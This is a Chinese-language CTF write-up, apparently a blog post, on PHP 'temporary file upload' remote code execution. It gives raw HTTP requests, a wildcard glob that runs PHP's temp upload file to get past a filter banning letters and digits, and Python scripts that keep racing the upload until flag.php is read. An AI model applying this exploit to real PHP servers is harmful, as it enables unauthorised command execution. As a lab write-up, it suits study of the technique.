细品临时文件上传

前言

比起叫他临时文件上传,我更喜欢称之为强制文件上传,因为不用有文件上传的地方就能上传文件,怎么不算强制呢

php的上传文件的机制可以简单理解为这样一个过程:

1.用户上传文件

2.把文件作为一个临时文件保存在超全局变量$_FILES中,默认放在tmp目录下

3.如果不做处理,在文件上传过程结束之后,就会被清除,如果处理,可以使用move_upload_file函数

临时文件的命名规则

默认为 php+4或者6位随机数字和大小写字母

在windows下,会有一个.tmp后缀,linux则没有

ctf题目

这题禁用了数字和字母,下面讲解如何利用临时文件实现rce

思路很简单,既然我们能上传一个文件,那我们如果能执行这个文件,就可以执行命令了

首先是文件内容(file.txt):

#!/bash/sh

ls

然后写一个上传的表单用来上传文件

<form action="https://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show/" enctype="multipart/form-data" method="post" >

<input name="file" type="file" />     
<input type="submit" type="gogogo!" />

拦截一下这个数据包

POST / HTTP/1.1
Host: 97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show
Content-Length: 251
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="§134§"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHJGvThZjeQHiaUpc
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close

------WebKitFormBoundaryHJGvThZjeQHiaUpc
Content-Disposition: form-data; name="file"; filename="file.txt"
Content-Type: text/plain

#!/bin/sh

cat flag.php
------WebKitFormBoundaryHJGvThZjeQHiaUpc--

发到发到爆破模块一直发

然后我们执行这个文件

POST /?c=.%20/???/????????[@-[] HTTP/1.1
Host: 97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show
Content-Length: 0
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="§134§"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Origin: https://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: close

这里执行文件的命令为

.%20/???/????????[@-[]

我们来分析一下这个命令

首先使用点来执行文件,.在执行文件时,是不需要x权限的

前三个问号匹配的时php

后面的问号是php+六位字符

最后的[@-[]匹配的是一位大写字母

同时重复发送这两个数据包,当临时文件未被删除的同时,执行到了该文件,就能成功rce

当然,也可以仅用一个数据包实现

POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: e51e3381-cae6-4dae-b44b-3a3ef9fa1c0d.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Content-Length: 239

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

cat flag.php
-----------------------------10242300956292313528205888--

一把梭

叽里咕噜的说啥呢,看我py脚本一把梭

import requests

#url需要带上执行上传的文件的命令
url="http://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show/?c=.%20/???/????????[@-[]"

while True:
    file = {'rcefile': open('rce.txt', 'r')}
    res = requests.post(url=url,files=file)
    if "flag" in res.text:
        print(res.text)
        break
    else:
        print("not found")

rce.txt

#/bin/sh

cat flag.php

亦或者你不想要两个文件

import requests

#url需要带上执行上传的文件的命令
url="http://97d934f8-f145-435d-bb5b-4178722968fb.challenge.ctf.show/?c=.%20/???/????????[@-[]"

while True:
    file = {'rcefile': open('rce.txt', 'r')}
    res = requests.post(url=url,files={"file": ('rce.txt', b'cat flag.php')})
    if "flag" in res.text:
        print(res.text)
        break
    else:
        print("not found")

 

 

posted @ 2025-03-27 23:32  onehang  阅读(64)  评论(0)    收藏  举报  来源